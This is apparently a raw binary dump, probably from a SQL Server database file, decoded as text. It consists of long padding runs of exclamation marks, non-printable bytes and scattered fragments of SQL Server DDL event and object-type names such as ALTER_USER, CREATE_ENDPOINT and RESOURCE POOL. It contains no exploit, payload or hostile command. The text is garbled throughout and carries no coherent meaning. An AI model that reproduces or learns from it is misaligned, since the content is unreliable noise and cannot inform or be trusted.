!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`".
j
:Bv$JT^bALTER_AUTHORIZATION_DATABASETABLETABLEv$*4>BALTER_SCHEMATABLETABLEv$(2<@ALTER_TABLETABLETABLE
v$*4>BCREATE_TABLETABLETABLEv$(26RENAMETABLETABLEv%$,RALTER_USERUSERASYMMETRIC KEY USERv%$,LALTER_USERUSERCERTIFICATE USERv%$,@ALTER_USERUSERGROUP USERv%$,<ALTER_USERUSERSQL USERv%$,DALTER_USERUSERWINDOWS USERv%(0VZCREATE_USERUSERASYMMETRIC KEY USER	v%(0PTCREATE_USERUSERCERTIFICATE USER
v%(0DHCREATE_USERUSERGROUP USERv%(0@DCREATE_USERUSERSQL USERv%(0HLCREATE_USERUSERWINDOWS USERv&&.6:ALTER_VIEWVIEWVIEWv&(08<CREATE_VIEWVIEWVIEWv&&.2RENAMEVIEWVIEWv)JVbfAUDIT_SERVER_OPERATION_EVENTSERVERSERVER
v3.:FJALTER_ENDPOINTSERVERSERVER
v3JVbfAUDIT_SERVER_OPERATION_EVENTSERVERSERVER
v30<HLCREATE_ENDPOINTSERVERSERVER
v3,8DHDROP_ENDPOINTSERVERSERVER
v36BNSAC_ENDPOINT_CHANGESERVERSERVER
v>8PjnALTER_RESOURCE_POOLRESOURCEPOOLRESOURCE POOL
v>8PjCREATE_RESOURCE_POOLRESOURCEPOOLRESOURCE POOL
v@JVbfALTER_AUTHORIZATION_DATABASESCHEMASCHEMA
v@(4@ALTER_SCHEMASCHEMASCHEMA
v@,8DHCREATE_SCHEMASCHEMASCHEMA
vEF\rvALTER_AUTHORIZATION_SERVERSERVER ROLESERVER ROLE
vE2H^ALTER_SERVER_ROLESERVER ROLESERVER ROLE
vE6LbfCREATE_SERVER_ROLESERVER ROLESERVER ROLE
vJJ\nrALTER_AUTHORIZATION_DATABASEPROCEDUREPROCEDURE
vJ0BTXALTER_PROCEDUREPROCEDUREPROCEDURE
vJ*<NRALTER_SCHEMAPROCEDUREPROCEDURE
vJ2DVZCREATE_PROCEDUREPROCEDUREPROCEDURE
vJ0BFRENAMEPROCEDUREPROCEDURE
vMJZjnALTER_AUTHORIZATION_DATABASESEQUENCESEQUENCE
vM*:JNALTER_SCHEMASEQUENCESEQUENCE
vM,<LALTER_SEQUENCESEQUENCESEQUENCE
vM0@PTCREATE_SEQUENCESEQUENCESEQUENCE
v&JRZ^ALTER_AUTHORIZATION_DATABASEVIEWVIEWv&*2:>ALTER_SCHEMAVIEWVIEWvADhALTER_SEARCH_PROPERTY_LISTSEARCHPROPERTYLISTSEARCH PROPERTY LIST vAHlCREATE_SEARCH_PROPERTY_LISTSEARCHPROPERTYLISTSEARCH PROPERTY LIST!vAJnALTER_AUTHORIZATION_DATABASESEARCHPROPERTYLISTSEARCH PROPERTY LIST"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4~
F
 
NF
			4DrpT
bn `EkGUwEEEEEEEEEEEEEEEE E!E"E#E$E%E&E'E(E)E*E+E,E-E.E/E0E1E2E3E4E5E6E7E8E9E:E;E<E=E>E?E@EAEBECEDEEEFEGEHEIEJEKELEMENEOEPEQERESETEUEVEWEXEYEZE[E\E]E^E_E`EaEbEcEdEeEfEgEhEiEjEkElEmEnEoEpEqErEsEtEuEvEwExEyEzE{EyQv-R	w.S
x/Ty0Uz1V
{2W|3X}4Y
~
5
Z6

[

		7	\8]9^:_;`9_bU%o9AF&RM9AF9Ac!9CF
9CF	9s{FF9CF|9VF9VF	9\F"9\B
9\B06	9vM`F>!9vM`B9vM`B
9>o3hF	m9r\	9vF4l19vF28/59ixF] 9	c	F-B9	c	F9_<MFD09_<MF
9_<MB

9EYH$F
] 92*a(9V*#,9
{+oDL9F,>FR9-)&9.,9/w:69*00u969cT1+9Gr5
> 9nJMF9.HSF
!>9.HSF9.HSF
9VF'&9!X9ր];9Eb9ps?92`XuFO9@wFT9FO9ǎF59ǎF9/
F9F	k !9B^ "9F9S-rF# 9NF	? 9AF)9X\GF#9dMF)9>RF!9ΞVF94_@<9@4m@<9S{F
=39|*6F;39ElF9D0F
29D0F9D0F9D0B9D0B94F 94B 9,5F
%19,5F9=7 *9=7B	z #*9=7B%9=7B%+ 9a8
_-9a8B_#-9a8B%9a8B%+ 99F
A99F99B99B9ε;F-9ε;B9=F'E9=F9=B9	=B"9
=B"9f_?F!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$j,r4z<DLT\d&l.

t
6
|>F

N

		V		^ f(n0v8~@H
PX`7N|UZNDڎ'Dڎ'Dڎ'Dڎ'',),),,&m1&m1_2_2334444j8j8j899':':':ҕ;T<T<~<I>I>I>I>	Z@Z@Z@AwBwBwBCCCCC(C(C(C(CADADUGTEUGTEs{FFF0H0H*eH~H~H 
K 
K*BK)?K)?K)?K)?K)?KbcLeQeQeQeQeQ:Q:Q:Q:QrWXXXJ~[+\+\+\d]d].^.^7_\`\`\`HaHaȃcȃcwdwd,leeeeeee5`fPjPjPjPjPj=yk=yk=yk=ykZ>pZ>pZ>psXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	)z)z)z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{ro|ro|ro|ro|ro|||||x}x}x}x}x}KKVVVV\\\vM`vM`vM`vM`>o3h>o3hvvvvvvvvvvv	ixro|KnJM.HS.HS.HSVVVVV2`Xu@w@wAAAAX\GX\GX\GdMdMdMdM>R>R>RΞVΞVS{S{S{s{Fs{FK	(C(CfSD0D0D0D0D04444,5,5,5=7=7=7=7a8a8a8a89999	9ε;ε;=======f_?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pp\H4 






4 l
X
D
0


|hT@,xdP<(





t
`
L
8
$

